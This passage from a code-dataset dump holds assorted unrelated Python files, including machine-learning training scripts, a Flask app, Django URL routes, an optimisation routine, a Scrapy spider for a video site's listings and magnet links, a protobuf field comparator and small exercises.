child = allDir\n return out\n\n\n\n\n\nif __name__ == '__main__':\n args = args_parse()\n file_path = '/data2/Lucy_dataset_HEVC/'\n checkpoint_filepath = '/data2/minh_hevc/HEVC_dataset_test/TrainingData/checkpoint/5_classes_Kevin.h5'\n model_checkpoint_callback = ModelCheckpoint(\n filepath=checkpoint_filepath,\n save_weights_only=False,\n monitor='val_acc',\n mode='max',\n save_best_only=True)\n es = EarlyStopping(monitor='val_loss', mode='min', verbose=1,patience=5)\n # train_file_path = './TRAIN/'\n # test_file_path = './TEST/'\n train_datagen = ImageDataGenerator(validation_split=0.25)\n train_generator = train_datagen.flow_from_directory(directory=file_path, target_size=(32, 32),\n classes=eachFile(file_path),subset='training')\n # test_datagen = ImageDataGenerator()\n test_generator = train_datagen.flow_from_directory(directory=file_path, target_size=(32, 32),\n classes=eachFile(file_path),subset='validation')\n\n print(train_generator.class_indices)\n\n # model = AKNet.build(width=norm_size, height=norm_size, depth=3, classes=CLASS_NUM)\n model = LeNet.build(width=norm_size, height=norm_size, depth=3)\n # opt = SGD(lr=0.001, momentum=0.9)\n\n opt = Adam(lr=0.001)\n #opt = RMSprop(lr=0.001, rho=0.9, decay=0.0)\n #opt = Adagrad(lr=0.01, decay=0.0)\n # opt = Adadelta(lr=0.01, rho=0.95, decay=0.0)\n\n model.compile(loss=\"categorical_crossentropy\", optimizer=opt, metrics=[\"accuracy\"])\n model.summary()\n # H = model.fit_generator(generator_three_img(train_generator,), epochs=EPOCHS, validation_data=generator_three_img(test_generator,),steps_per_epoch=steps_per_epoch,validation_steps=validation_step,callbacks=[model_checkpoint_callback,es])\n H = model.fit_generator(train_generator, epochs=EPOCHS,\n validation_data=test_generator, steps_per_epoch=steps_per_epoch,\n validation_steps=validation_step, callbacks=[model_checkpoint_callback, es])\n\n print(\"[INFO] serializing network...\")\n model.save('5_classes_Kevin.h5')\n\n # plot the training loss and accuracy\n plt.style.use(\"ggplot\")\n plt.figure()\n N = es.stopped_epoch + 1\n plt.plot(np.arange(0, N), H.history[\"loss\"], label=\"train_loss\")\n plt.plot(np.arange(0, N), H.history[\"val_loss\"], label=\"val_loss\")\n plt.plot(np.arange(0, N), H.history[\"acc\"], label=\"train_acc\")\n plt.plot(np.arange(0, N), H.history[\"val_acc\"], label=\"val_acc\")\n plt.title(\"Training Loss and Accuracy\")\n plt.xlabel(\"Epoch #\")\n plt.ylabel(\"Loss/Accuracy\")\n plt.legend(loc=\"lower left\")\n plt.savefig(args[\"plot\"])","sub_path":"AK-CNN.py","file_name":"AK-CNN.py","file_ext":"py","file_size_in_byte":9615,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"111045665","text":"from flask import Flask,render_template,request\r\nimport pickle\r\nfrom sklearn.linear_model import LogisticRegression\r\n\r\napp=Flask(__name__)\r\n\r\n@app.route(\"/\")\r\ndef home():\r\n return render_template('index.html')\r\n\r\n@app.route('/predict',methods=['POST'])\r\ndef predict():\r\n if request.method=='POST':\r\n spl=request.form['spl']\r\n spw=request.form['spw']\r\n ptl=request.form['ptl']\r\n ptw=request.form['ptw']\r\n\r\n data=[[float(spl),float(spw),float(ptl),float(ptw)]]\r\n lr=pickle.load(open('iris.pkl','rb'))\r\n prediction=lr.predict(data)[0]\r\n\r\n return render_template('index.html',prediction=prediction)\r\n\r\nif __name__=='__main__':\r\n app.run(debug=True)\r\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":707,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"447667353","text":"from django.urls import path\nfrom . import views\n\nfrom django.views.generic import TemplateView\n\napp_name = 'pyconafrica2019'\nurlpatterns = [\n path('', view=views.home19, name='home19'),\n path('about/', view=views.about, name='about'),\n path('schedule/', view=views.schedule, name='schedule'),\n path('conduct/', view=views.conduct, name='conduct'),\n path('coc/eporting-guidelines/', TemplateView.as_view(template_name='conduct/eporting-guidelines/eporting-guidelines.html')),\n path('coc/guidelines/', TemplateView.as_view(template_name='conduct/guidelines/guidelines.html')),\n path('sponsor-us/', view=views.sponsor_us, name='sponsor_us'),\n path('our-sponsors/', view=views.sponsors, name='sponsors'),\n path('register/', view=views.register, name='register'),\n path('travel/', view=views.traveladvice, name='traveladvice'),\n path('fin-aid/', view=views.fin_aid, name='fin_aid'),\n path('team/', view=views.team, name='team'),\n path('report/', view=views.report, name='report'),\n]\n\n","sub_path":"pyconafrica2019/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1019,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"324111928","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Oct 10 19:09:44 2019\r\n\r\n@author: CLIENTE\r\n\"\"\"\r\n\r\nfrom sympy import symbols, diff, evalf\r\nimport numpy as np\r\nfrom moresorensen import ms\r\nx1,x2,x3,x4,x5,x6,x7,x8,x9,x10,x11 = symbols('x1 x2 x3 x4 x5 x6 x7 x8 x9 x10 x11')\r\nvar = [x1, x2, x3, x4, x5, x6, x7, x8, x9, x10, x11]\r\nimport time\r\n\r\ndef MétodoDeRegiãoDeConfiança(dado):\r\n x = dado[4]\r\n função = dado[0]\r\n gradiente = dado[1]\r\n hessiana = dado[2]\r\n n = dado[3]\r\n def f(X):\r\n return função.subs([(var[i],X[i]) for i in range(n)])\r\n def grad(X):\r\n return np.asarray([expr.subs([(var[i],X[i]) for i in range(n)]) for expr in gradiente],dtype=float)\r\n def hess(X):\r\n return np.asarray([[expr.subs([(var[i],X[i]) for i in range(n)]) for expr in hessiana[j]] for j in range(n)],dtype=float) \r\n delta = 1\r\n mi1 = 0.01\r\n mi2 = 0.9\r\n lambda1 = 1/2 \r\n lambda2 = 1/2\r\n k = 0\r\n\r\n while np.dot(grad(x),grad(x)) > 10**(-4):\r\n s = ms(grad(x),hess(x),delta)\r\n p = (-1)*(f(x) - f(x+s))/(np.dot(s,grad(x))+(1/2)*(np.dot(s,np.dot(hess(x),s))))\r\n if p >= mi1:\r\n x = x+s\r\n if p >= mi2:\r\n delta = delta/lambda1\r\n elif p >= mi1:\r\n delta = delta\r\n else:\r\n delta = lambda1*delta\r\n if k >= 50:\r\n break\r\n return [x, f(x),grad(x)]","sub_path":"Método_de_Região_de_Confiança.py","file_name":"Método_de_Região_de_Confiança.py","file_ext":"py","file_size_in_byte":1387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"268401293","text":"import tensorflow as tf\n\n\nclass Shakespeare(object):\n def __init__(self):\n self._vocab_size = 11302\n self._embed_size = 200\n self._cell_size = 300\n self._embedding_matrix = tf.get_variable(\n 'embedding',\n shape=[self._vocab_size, self._embed_size],\n initializer=tf.truncated_normal_initializer())\n\n def BuildTrainModel(self, word_ids):\n '''\n Args:\n words: a Tensor of shape [1, ?], each is a word(token) id.\n Returns:\n loss: a scalar Tensor.\n '''\n single_cell = tf.nn.rnn_cell.BasicLSTMCell(self._cell_size)\n\n concat_words = tf.concat(concat_dim=1, values=word_ids)\n word_embeds = tf.nn.embedding_lookup([self._embedding_matrix],\n concat_words)\n word_embed_list = tf.unstack(word_embeds, num=None, axis=1)\n outputs, final_state = tf.nn.rnn(single_cell,\n inputs=word_embed_list,\n dtype=tf.float32)\n w, b = self._GetWeightsAndBias()\n output_batch = tf.concat(concat_dim=0, values=outputs[:-1])\n labels = tf.reshape(word_ids[0, 1:], [-1, 1])\n loss = self._NceLoss(\n weights=w, biases=b, inputs=output_batch, labels=labels)\n return loss\n\n def BuildInferenceModel(self, word):\n '''\n Args:\n word: a scalar Tensor of int32, representing a word id.\n Returns:\n next_word: a scalar Tensor of int32, representing a word id.\n state_feed: a LSTMStateTuple of two placeholders, c and h.\n state_next: a LSTMStateTuple of two tensors, c and h.\n '''\n\n single_cell = tf.nn.rnn_cell.BasicLSTMCell(self._cell_size)\n state_feed_c = tf.placeholder(\n tf.float32, shape=[1, self._cell_size], name='c_feed')\n state_feed_h = tf.placeholder(\n tf.float32, shape=[1, self._cell_size], name='h_feed')\n state_feed = tf.nn.rnn_cell.LSTMStateTuple(state_feed_c, state_feed_h)\n\n word_embeds = tf.nn.embedding_lookup([self._embedding_matrix], word)\n word_embeds = tf.reshape(word_embeds, [1, self._embed_size])\n w, b = self._GetWeightsAndBias()\n output, state_next = single_cell(\n word_embeds, state_feed, scope='RNN/BasicLSTMCell')\n\n logits = tf.matmul(output, tf.transpose(w)) + b\n next_word_id = tf.argmax(logits, axis=1)\n\n # next_word_id = tf.Print(\n # next_word_id, [state_next.c, state_next.h, logits],\n # message='state')\n\n return next_word_id, state_feed, state_next\n\n def _NceLoss(self, weights, biases, inputs, labels):\n losses = tf.nn.nce_loss(\n weights=weights,\n biases=biases,\n inputs=inputs,\n labels=labels,\n num_sampled=500,\n num_classes=self._vocab_size)\n return tf.reduce_sum(losses)\n\n def _GetWeightsAndBias(self):\n softmax_w = tf.get_variable(\n 'W',\n shape=[self._vocab_size, self._cell_size],\n dtype=tf.float32,\n initializer=tf.truncated_normal_initializer())\n softmax_b = tf.get_variable(\n 'B',\n shape=[self._vocab_size],\n dtype=tf.float32,\n initializer=tf.truncated_normal_initializer())\n return softmax_w, softmax_b","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":3434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"98344655","text":"# uncompyle6 version 3.6.7\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.8.2 (tags/v3.8.2:7b3ab59, Feb 25 2020, 23:03:10) [MSC v.1916 64 bit (AMD64)]\n# Embedded file name: build/bdist.linux-x86_64/egg/ditz/editor.py\n# Compiled at: 2016-11-27 06:27:17\n__doc__ = '\\nText editor.\\n'\nfrom __future__ import print_function\nimport os, yaml, tempfile\nfrom . import util\nfrom .files import read_file, read_yaml_file\nfrom .util import DitzError\n\nclass DitzEditor(object):\n \"\"\"\n An editor for Ditz objects.\n \"\"\"\n prefix = 'tmp-'\n suffix = '.yaml'\n textmode = False\n filetag = ''\n\n def __init__(self, path):\n self.original = read_file(path)\n self.text = self.original\n self.error = None\n return\n\n def edit(self):\n \"\"\"Edit the text and return it.\"\"\"\n program = util.editor()\n if not program:\n raise DitzError('no text editor is configured')\n fp, filename = tempfile.mkstemp(prefix=self.prefix, suffix=self.suffix, text=self.textmode)\n os.write(fp, self.text.encode('utf-8'))\n os.close(fp)\n try:\n util.run_editor(program, filename)\n self.text = read_file(filename)\n err = self.validate(filename)\n if err:\n self.error = err.replace(filename, self.filetag)\n else:\n self.error = None\n finally:\n os.remove(filename)\n\n return self.text\n\n def validate(self, path):\n \"\"\"Return validation error text or None.\"\"\"\n try:\n obj = read_yaml_file(path)\n obj.normalize()\n except yaml.error.YAMLError as err:\n return str(err)\n except DitzError as err:\n return str(err)\n\n return\n\n @property\n def modified(self):\n \"\"\"Whether text has been modified.\"\"\"\n return self.text != self.original\n\n\nif __name__ == '__main__':\n path = '../bugs/issue-3d1596d37cbd170f512eb939b97f5f22a3834c79.yaml'\n from ditz.objects import DitzObject\n editor = DitzEditor(path)\n print(editor.edit())\n print('Modified:', editor.modified)\n print('Error:', editor.error)","sub_path":"pycfiles/pydiv-2.1.tar/editor.py","file_name":"editor.py","file_ext":"py","file_size_in_byte":2171,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"619148613","text":"import scrapy\nimport re\nimport time\nimport math\nimport random\nfrom scrapy.linkextractors import LinkExtractor\nfrom javbus.items import JavbusItem\n\nclass JavSpider(scrapy.Spider):\n name = 'jav'\n start_urls = ['https://www.fanbus.in']\n web='https://www.fanbus.in'\n\n def parse(self, response):\n le=LinkExtractor(restrict_xpaths='//*[@id=\"waterfall\"]')\n links=le.extract_links(response)\n for link in links:\n yield scrapy.Request(url=link.url,callback=self.parse_info)\n nextpage=response.xpath('//*[@id=\"next\"]/@href').extract_first()\n if nextpage:\n nextpage=self.web+nextpage\n yield scrapy.Request(url=nextpage,callback=self.parse)\n\n\n def parse_info(self,response):\n item=JavbusItem()\n item['jav_sn']=response.xpath('//*[@class=\"row movie\"]/div/p/span[2]/text()').extract_first()\n item['jav_name']=response.xpath('//*[@class=\"container\"]/h3/text()').extract_first()\n\n patten_time=re.compile('長度: (.*?)分鐘')\n item['jav_time']=int(patten_time.search(response.text).group(1))\n item['jav_date']=int(time.strftime('%Y%m%d',time.localtime(time.time())))\n\n patten_open_date=re.compile('發行日期: (.*?)=1:\n for i in range(len(elements)):\n sourceInfo = {}\n #磁力链接\n mangetUrl = elements[i].xpath(\"td[1]/a/@href\").extract_first()\n sourceInfo[\"magnetUrl\"] = mangetUrl\n # #番号\n fanhao = item['jav_sn']\n sourceInfo[\"fanhao\"] = fanhao\n\n #视频大小\n size = elements[i].xpath(\"td[2]/a/text()\").extract_first().strip() if elements[i].xpath(\"td[2]/a/text()\").extract_first() else \"\"\n sourceInfo[\"size\"] = size\n # #时间\n openTime = elements[i].xpath(\"td[3]/a/text()\").extract_first().strip() if elements[i].xpath(\"td[3]/a/text()\").extract_first() else \"\"\n sourceInfo[\"openTime\"] = openTime\n info.append(sourceInfo)\n item[\"jav_cili\"] = info\n yield item\n\n\n","sub_path":"javbus/javbus/spiders/jav.py","file_name":"jav.py","file_ext":"py","file_size_in_byte":2946,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"445701659","text":"import tensorflow as tf\nfrom fc_data_ff import get_run_op as get_ff_run_op\nfrom fc_data_ff import get_var_device\nfrom fc_data_ff import get_all_devices\n\nFLAGS = tf.app.flags.FLAGS\n\ndef all_reduce_gradients(tower_grads, devices):\n average_grads = []\n for grad_and_vars in zip(*tower_grads):\n # Note that each grad_and_vars looks like the following:\n # ((grad0_gpu0, var0_gpu0), ... , (grad0_gpuN, var0_gpuN))\n grads = []\n split_grads = []\n assert len(grad_and_vars) == FLAGS.num_workers\n # Each GPU splits its own grad\n for i, (g, _) in enumerate(grad_and_vars):\n with tf.device(devices[i]):\n split_grads.append(tf.split(0, FLAGS.num_workers, g))\n # Each GPU gatheres slices of grad from other GPUs to do average.\n for i, dev in enumerate(devices):\n with tf.device(dev):\n x = split_grads[i][i]\n for j in range(FLAGS.num_workers):\n if i == j:\n continue\n x += split_grads[j][i]\n grads.append(x / FLAGS.num_workers)\n grad = tf.concat(0, grads)\n\n # Keep in mind that the Variables are redundant because they are shared\n # across towers. So .. we will just return the first tower's pointer to\n # the Variable.\n v = grad_and_vars[0][1]\n grad_and_var = (grad, v)\n average_grads.append(grad_and_var)\n return average_grads\n\n\ndef get_run_op():\n losses = get_ff_run_op()\n tower_grads = []\n opt = tf.train.GradientDescentOptimizer(learning_rate=0.5)\n for i in range(FLAGS.num_workers):\n tower_grads.append(opt.compute_gradients(losses[i]))\n grads = all_reduce_gradients(tower_grads, get_all_devices())\n apply_gradient_op = opt.apply_gradients(grads)\n train_op = tf.group(apply_gradient_op)\n return train_op\n","sub_path":"benchmark/mini/models/fc_data_slice.py","file_name":"fc_data_slice.py","file_ext":"py","file_size_in_byte":1891,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"84600072","text":"s = input()\nk = int(input())\na = 0 \nb = 0\nfor i in range(len(s)):\n if(s[i] != \"1\"):\n a = s[i]\n b = i + 1\n break\nif(a == 0 or k < b):\n print(1)\nelse:\n print(a)\n","sub_path":"abc/abc106/c.py","file_name":"c.py","file_ext":"py","file_size_in_byte":171,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"118668149","text":"# Copyright 2020 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom google.api import resource_pb2\nfrom google.protobuf.descriptor_pb2 import FieldDescriptorProto\nfrom src.findings.finding_container import FindingContainer\nfrom src.findings.utils import FindingCategory\nfrom src.comparator.wrappers import Field\n\n\nclass FieldComparator:\n # global_resources: file-level resource definitions.\n # local_resource: message-level resource definition.\n # We need the resource database information to determine if the resource_reference\n # annotation removal or change is breaking or not.\n def __init__(\n self,\n field_original: Field,\n field_update: Field,\n ):\n self.field_original = field_original\n self.field_update = field_update\n\n def compare(self):\n # 1. If original FieldDescriptor is None, then a\n # new FieldDescriptor is added.\n if self.field_original is None:\n FindingContainer.addFinding(\n category=FindingCategory.FIELD_ADDITION,\n location=f\"{self.field_update.proto_file_name} Line: {self.field_update.source_code_line}\",\n message=f\"A new Field {self.field_update.name} is added.\",\n actionable=False,\n )\n return\n\n # 2. If updated FieldDescriptor is None, then\n # the original FieldDescriptor is removed.\n if self.field_update is None:\n FindingContainer.addFinding(\n category=FindingCategory.FIELD_REMOVAL,\n location=f\"{self.field_original.proto_file_name} Line: {self.field_original.source_code_line}\",\n message=f\"A Field {self.field_original.name} is removed\",\n actionable=True,\n )\n return\n\n self.global_resources_original = self.field_original.file_resources\n self.global_resources_update = self.field_update.file_resources\n self.local_resource_original = self.field_original.message_resource\n self.local_resource_update = self.field_update.message_resource\n\n # 3. If both FieldDescriptors are existing, check\n # if the name is changed.\n if self.field_original.name != self.field_update.name:\n FindingContainer.addFinding(\n category=FindingCategory.FIELD_NAME_CHANGE,\n location=f\"{self.field_update.proto_file_name} Line: {self.field_update.source_code_line}\",\n message=f\"Name of the Field is changed, the original is {self.field_original.name}, but the updated is {self.field_update.name}\",\n actionable=True,\n )\n return\n\n # 4. If the FieldDescriptors have the same name, check if the\n # repeated state of them stay the same.\n # TODO(xiaozhenliu): add location information for field.label\n if self.field_original.label != self.field_update.label:\n FindingContainer.addFinding(\n category=FindingCategory.FIELD_REPEATED_CHANGE,\n location=\"\",\n message=f\"Repeated state of the Field is changed, the original is {self.field_original.label}, but the updated is {self.field_update.label}\",\n actionable=True,\n )\n\n # 5. If the FieldDescriptors have the same repeated state,\n # check if the type of them stay the same.\n # TODO(xiaozhenliu): add location information for field.type\n if self.field_original.proto_type != self.field_update.proto_type:\n FindingContainer.addFinding(\n category=FindingCategory.FIELD_TYPE_CHANGE,\n location=\"\",\n message=f\"Type of the field is changed, the original is {self.field_original.proto_type}, but the updated is {self.field_update.proto_type}\",\n actionable=True,\n )\n # 6. Check the oneof_index of the field.\n if self.field_original.oneof != self.field_update.oneof:\n location = f\"{self.field_update.proto_file_name} Line: {self.field_update.source_code_line}\"\n if self.field_original.oneof:\n msg = f\"The existing field {self.field_original.name} is moved out of One-of.\"\n FindingContainer.addFinding(\n category=FindingCategory.FIELD_ONEOF_REMOVAL,\n location=location,\n message=msg,\n actionable=True,\n )\n else:\n msg = f\"The existing field {self.field_original.name} is moved into One-of.\"\n FindingContainer.addFinding(\n category=FindingCategory.FIELD_ONEOF_ADDITION,\n location=location,\n message=msg,\n actionable=True,\n )\n\n # 6. Check `google.api.resource_reference` annotation.\n # TODO(xiaozhenliu): add location information for field.resource_reference.\n self._compare_resource_reference(self.field_original, self.field_update)\n\n def _compare_resource_reference(self, field_original, field_update):\n resource_ref_original = self.field_original.resource_reference\n resource_ref_update = self.field_update.resource_reference\n # No resource_reference annotations found for the field in both versions.\n if not resource_ref_original and not resource_ref_update:\n return\n # A `google.api.resource_reference` annotation is added.\n if not resource_ref_original and resource_ref_update:\n FindingContainer.addFinding(\n FindingCategory.RESOURCE_REFERENCE_ADDITION,\n \"\",\n f\"A resource reference option is added to the field {field_original.name}\",\n False,\n )\n return\n # Resource annotation is removed, check if it is added as a message resource.\n if resource_ref_original and not resource_ref_update:\n if not self._resource_ref_in_local(resource_ref_original):\n FindingContainer.addFinding(\n FindingCategory.RESOURCE_REFERENCE_REMOVAL,\n \"\",\n f\"A resource reference option of field '{field_original.name}' is removed.\",\n True,\n )\n return\n # Resource annotation is both existing in the field for original and update versions.\n # They both use `type` or `child_type`.\n if field_original.child_type == field_update.child_type:\n original_type = (\n resource_ref_original.type or resource_ref_original.child_type\n )\n update_type = resource_ref_update.type or resource_ref_update.child_type\n if original_type != update_type:\n FindingContainer.addFinding(\n FindingCategory.RESOURCE_REFERENCE_CHANGE,\n \"\",\n f\"The type of resource reference option in field '{field_original.name}' is changed from '{original_type}' to '{update_type}'.\",\n True,\n )\n return\n # The `type` is changed to `child_type` or `child_type` is changed to `type`, but\n # resulting referenced resource patterns can be resolved to be identical,\n # in that case it is not considered breaking.\n # Register the message-level resource into the global resource database,\n # so that we can query the parent resources for child_type.\n self._register_local_resource()\n if field_original.child_type:\n self._is_parent_type(\n resource_ref_original.child_type, resource_ref_update.type, True\n )\n if field_update.child_type:\n self._is_parent_type(\n resource_ref_update.child_type, resource_ref_original.type, False\n )\n\n def _resource_ref_in_local(self, resource_ref):\n \"\"\"Check if the resource type is in the local resources defined by a message option.\"\"\"\n if not self.local_resource_update:\n return False\n checked_type = resource_ref.type or resource_ref.child_type\n if not checked_type:\n raise TypeError(\n \"In a resource_reference annotation, either `type` or `child_type` field should be defined\"\n )\n if self.local_resource_update.type != checked_type:\n return False\n return True\n\n def _register_local_resource(self):\n # Add message-level resource definition to the global resource database for query.\n self.global_resources_original.register_resource(self.local_resource_original)\n self.global_resources_update.register_resource(self.local_resource_update)\n\n def _is_parent_type(self, child_type, parent_type, original_is_child):\n if original_is_child:\n parent_resources = (\n self.global_resources_original.get_parent_resources_by_child_type(\n child_type\n )\n )\n else:\n parent_resources = (\n self.global_resources_update.get_parent_resources_by_child_type(\n child_type\n )\n )\n if parent_type not in [parent.type for parent in parent_resources]:\n # Resulting referenced resource patterns cannot be resolved identical.\n FindingContainer.addFinding(\n FindingCategory.RESOURCE_REFERENCE_CHANGE,\n \"\",\n f\"The child_type '{child_type}' and type '{parent_type}' of \"\n f\"resource reference option in field '{self.field_original.name}' \"\n \"cannot be resolved to the identical resource.\",\n True,\n )\n","sub_path":"src/comparator/field_comparator.py","file_name":"field_comparator.py","file_ext":"py","file_size_in_byte":10262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"639231818","text":"# check whether the result of 2^n+1 is prime number or not when n is a prime number\n# ref. stackoverflow.com\n#\n# pip3 install sympy!\n#\n# 2022.09.15 by neibc96@gmail.com & GD\n\nimport math\nfrom datetime import datetime\nimport sys\nimport platform\nimport sympy\n\n#global variables\nispause = 0\n\ndef is_prime(n):\n if n % 2 == 0 and n > 2: \n return False\n return all(n % i for i in range(3, int(math.sqrt(n)) + 1, 2))\n \nprint('environment_uname : ', end='')\nprint(platform.platform())\n\nmaxnum = 1000\nmaxsquarenum = 10000\n\n#startnum = 3 \n\nwhile maxnum > 0:\n pnum1 = 0\n noftrue = 0\n noffalse = 0\n\n maxnum = int(input(\"input max target investigation value(>1, 0 to end) ex> 2020123212321223 : \"))\n print('-------------------------------------------------------')\n print('start time : ' + datetime.utcnow().strftime('%Y/%m/%d_%H:%M:%S.%f'))\n starta = datetime.now()\n\n for i in range(2, maxsquarenum):\n if sympy.isprime(i) == True:\n tval = pow(2, i) + 1\n if tval > maxnum:\n break\n pcheckresult = sympy.isprime(tval)\n if pcheckresult == True:\n noftrue=noftrue+1\n else: \n noffalse=noffalse+1\n print('2^%d + 1 = %d : %s' %(i, tval, pcheckresult))\n\n startb = datetime.now()\n print('\\nend time : ' + datetime.utcnow().strftime('%Y/%m/%d_%H:%M:%S.%f'))\n print('-------------------------------------------------------')\n print('time diff : ', end='')\n print(startb-starta)\n print('max number : %d' %maxnum)\n print('\\nnumber of true samples : %d' %noftrue)\n print('number of false samples : %d' %noffalse)\n print('ratio of true samples : %f' %(noftrue/(noftrue+noffalse)))\n\nif ispause > 0:\n input('enter key to end')\n","sub_path":"checkmersenne_prime_plus1.py","file_name":"checkmersenne_prime_plus1.py","file_ext":"py","file_size_in_byte":1789,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"489161639","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 2019/10/24 3:28 下午\n# @Author : Frankie\n# @File : leetcode_102_层次遍历.py\n\n\nfrom typing import List\n\n# Definition for a binary tree node.\nclass TreeNode:\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\nclass Solution:\n def levelOrder(self, root: TreeNode) -> List[List[int]]:\n \"\"\"\n 思路:二叉树 => 递归\n :param root:\n :return:\n \"\"\"\n # 递归终止\n if not root:\n return []\n if root.left is None and root.right is None:\n return [[root.val]]\n\n res = []\n left_tree = self.levelOrder(root.left)\n right_tree = self.levelOrder(root.right)\n\n res.append([root.val])\n len_left = len(left_tree)\n len_right = len(right_tree)\n if len_left >= len_right:\n for i in range(len_left):\n right_tem = right_tree[i] if i < len_right else []\n tem = left_tree[i] + right_tem\n res.append(tem)\n else:\n for i in range(len_right):\n left_tem = left_tree[i] if i < len_left else []\n tem = left_tem + right_tree[i]\n res.append(tem)\n return res\n\n\n\n\n","sub_path":"Python/二叉树/二叉树的构造及遍历/leetcode_102_层次遍历.py","file_name":"leetcode_102_层次遍历.py","file_ext":"py","file_size_in_byte":1305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"456540084","text":"from turtle import *\r\nimport math\r\n\r\n# Name your Turtle.\r\nt = Turtle()\r\n\r\n\r\n# Set Up your screen and starting position.\r\nt.penup()\r\nsetup(850,850)\r\nbgcolor(\"black\")\r\n\r\nt.penup()\r\nt.setx(200)\r\nt.sety(200)\r\n\r\n\r\nsides = input('How many sides?: ')\r\nsides= int(sides)\r\nangle = 360 / sides\r\ncolor = input('What color?: ')\r\nscale = input('Big, medium or small? Type B for big, M for medium, S for small: ')\r\nif scale == 'B':\r\n length = 300\r\nelif scale == 'M':\r\n length = 200\r\nelif scale == 'S':\r\n length = 100\r\n\r\n\r\n#define draw shape\r\ndef drawshape(sides, color):\r\n t.pendown()\r\n t.fillcolor(color)\r\n t.begin_fill()\r\n for sides in range(sides):\r\n t.forward(length)\r\n t.right(angle)\r\n t.end_fill()\r\n\r\n#move!\r\ndrawshape(sides, color)\r\n\r\n# Close window on click.\r\nexitonclick()\r\n","sub_path":"draw_polygon_game.py","file_name":"draw_polygon_game.py","file_ext":"py","file_size_in_byte":807,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"112319074","text":"\nfrom tkinter import *\nfrom tkinter import ttk\nfrom trello import TrelloClient\nimport requests\n\n\ndef create_board(board_name):\n url = \"https://api.trello.com/1/boards/\"\n querystring = {\"name\": board_name, \"key\": api_key, \"token\": token}\n response = requests.request(\"POST\", url, params=querystring)\n board_id = response.json()[\"shortUrl\"].split(\"/\")[-1].strip()\n return board_id\n \ndef create_card(list_id, card_name):\n url = \"https://api.trello.com/1/cards\"\n querystring = {\"name\": card_name, \"idList\": list_id, \"key\": key, \"token\": token}\n response = requests.request(\"POST\", url, params=querystring)\n card_id = response.json()[\"id\"]\n return card_id\n \n# on change dropdown value\ndef change_dropdown(*args):\n print( tkvar.get() )\n \ndef clickMe():\n boardName = name.get()\n create_board(boardName)\n\n#last_board = all_boards[-1]\n#print(last_board.name)\n\n#print(all_boards[0].name)\n\n#lists = all_boards[0].all_lists()\n#print(lists)\n\n#all_boards[1].add_label(\"concept\", \"blue\")\n\n#create_board(\"randomTest\")\n\nroot = Tk()\nroot.title(\"Tk dropdown example\")\nroot.geometry('300x400')\n# Add a grid\nmainframe = Frame(root)\nmainframe.grid(column=0,row=0, sticky=(N,W,E,S) )\nmainframe.columnconfigure(0, weight = 2)\nmainframe.rowconfigure(0, weight = 2)\nmainframe.pack(padx = 0, pady = 0)\n\n\n# Create a Tkinter variable\ntkvar = StringVar(root)\n\nall_boards = client.list_boards()\nboardList = []\n\nfor i in all_boards:\n boardList.append(i)\nprint(list)\n\nboardList = list(dict.fromkeys(boardList))\nprint(boardList)\n# Dictionary with options\nchoices = boardList\ntkvar.set(choices[-1]) # set the default option\n\npopupMenu = OptionMenu(mainframe, tkvar, *choices)\ntkvar.trace('w', change_dropdown)\nLabel(mainframe, text=\"Choose a Board:\").grid(row = 0, column = 1)\npopupMenu.grid(row = 1, column =1)\n\n# link function to change dropdown\ntkvar.trace('w', change_dropdown)\n\nlabel = ttk.Label(mainframe, text = \"Create Board:\").grid(column = 0, row = 2)\n\nname = StringVar()\nnameEntered = ttk.Entry(mainframe, width = 15, textvariable = name)\nnameEntered.grid(column = 1, row = 2)\n\nbutton = ttk.Button(mainframe, text = \"Click Me\", command = clickMe).grid(column= 2, row = 2)\n\n\nroot.mainloop()\n\ndel boardList, tkvar, root\n","sub_path":"program.py","file_name":"program.py","file_ext":"py","file_size_in_byte":2245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"40839414","text":"from random import sample\nimport time\nfrom getContigs import getContigs\n\n'''\nThis script evaluates the getContigs function I wrote up\nI scale up the length of the list I get contigs from.\nIt's assumed that the list you pass into getContigs()\nis already sorted, so no such check is currently in place\nfor getContigs for sorted state of the list.\n'''\n\n# unit test\nmyList = [1, 2, 4, 6, 8, 9, 10]\nprint(getContigs(myList))\n\n# generative test\nN_iter = [10, 100, 1000]\ncontigsDict = {str(n):{} for n in N_iter}\n# for reproducibility, I'd normally place a seed here.\nfor n in 